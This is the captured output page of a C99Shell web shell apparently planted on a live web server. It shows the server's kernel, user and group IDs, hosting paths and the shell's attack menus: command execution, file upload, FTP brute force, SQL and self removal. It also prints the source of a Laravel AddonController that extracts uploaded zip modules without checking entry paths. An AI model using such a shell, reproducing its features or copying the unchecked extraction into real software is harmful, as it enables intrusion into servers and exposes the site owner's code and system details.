!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AddonController.php (4.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\File;

class 
AddonController extends Controller
{
    public function 
index()
    {
        return 
view('admin.addon.index');
    }

    public function 
getAll()
    {
        
$modules \Module::all();
        
$newArray = [];
        foreach (
$modules as $module) {
            
$newArray[] = [
                
'name' => $module->getName(),
                
'status' => $module->isEnabled(),
            ];
        }


        return 
datatables()->of($newArray)
            ->
addColumn('title', function ($q) {
                return 
$q['name'];
            })
            ->
addColumn('status', function ($q) {
                return 
$q['status'] == true 'enabled' 'disabled';
            })
            ->
addColumn('action', function ($q) {
                
$status '';
                if (
$q['status'] == true) {
                    
$status '<button class="btn btn-sm btn-info" data-message="Are you sure you want to disable this module?"
                                        data-action=' 
route('admin.addon.change-status') . '
                                        data-input={"_method":"post","name":"' 
$q['name'] . '","status":"disable"}
                                        data-toggle="modal" data-target="#modal-confirm">Disable</button> '
;
                } else if (
$q['status'] == false) {
                    
$status ' <button class="btn btn-sm btn-success" data-message="Are you sure you want to enable this module?"
                                        data-action=' 
route('admin.addon.change-status') . '
                                        data-input={"_method":"post","name":"' 
$q['name'] . '","status":"enable"}
                                        data-toggle="modal" data-target="#modal-confirm">Enable</button> '
;
                }

                return 
$status ' <button class="btn btn-sm btn-danger" data-message="Are you sure you want to uninstall this module?"
                                        data-action=' 
route('admin.addon.uninstall') . '
                                        data-input={"_method":"delete","name":"' 
$q['name'] . '"}
                                        data-toggle="modal" data-target="#modal-confirm">Uninstall</button>'
;
            })
            ->
rawColumns(['action'])
            ->
toJson();
    }

    public function 
uninstall(Request $request)
    {
        
$request->validate([
            
'name' => 'required',
        ]);

        
$module \Module::find($request->name);
        if (!
$module) return redirect()->back()->withErrors(['msg' => trans('Invalid request')]);
        
$module->delete();

        return 
redirect()->back()->with('success'trans('Module uninstalled successfully'));

    }


    public function 
changeStatus(Request $request)
    {
        
$request->validate([
            
'name' => 'required',
            
'status' => 'required|in:enable,disable'
        
]);

        
$module \Module::find($request->name);
        if (!
$module) return redirect()->back()->withErrors(['msg' => trans('Invalid request')]);

        if (
$request->status == 'enable') {
            
$module->enable();
            
\Artisan::call("module:publish " $request->name);
            
\Artisan::call("module:update");
        } else if (
$request->status == 'disable') {
            
$module->disable();
        }

        return 
redirect()->back()->with('success'trans('Module status successfully changed'));
    }

    public function 
import()
    {
        return 
view('admin.addon.import');
    }

    public function 
importPost(Request $request)
    {

        
$request->validate([
            
'addon' => 'required|mimes:zip'
        
]);
        
$search_this = [
            
'composer.json',
            
'Config',
            
'Controllers',
            
'module.json',
            
'package.json',
            
'Resources',
            
'views',
            
'web.php',
            
'webpack.mix.js',
        ];
        if (
$request->hasFile('addon')) {
            
$file $request->file('addon');
            
$path \Module::getPath();
            
$zip = new \ZipArchive();
            
$res $zip->open($file);
            if (
$res === TRUE) {
                
$fileNames = [];
                for (
$i 0$i $zip->numFiles$i++) {
                    
$stat $zip->statIndex($i);
                    
$fileNames[] = basename($stat['name']);
                }

                
$containsAllValues = !array_diff($search_this$fileNames);
                if (!
$containsAllValues) {
                    return 
redirect()->back()->withErrors(['msg' => trans('Invalid module selected')]);
                }


                
$zip->extractTo($path);
                
$zip->close();
                return 
redirect()->route('admin.addon.index')->with('success'trans('Module uploaded successfully'));
            } else {
                return 
redirect()->back()->withErrors(['msg' => trans('Invalid module')]);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--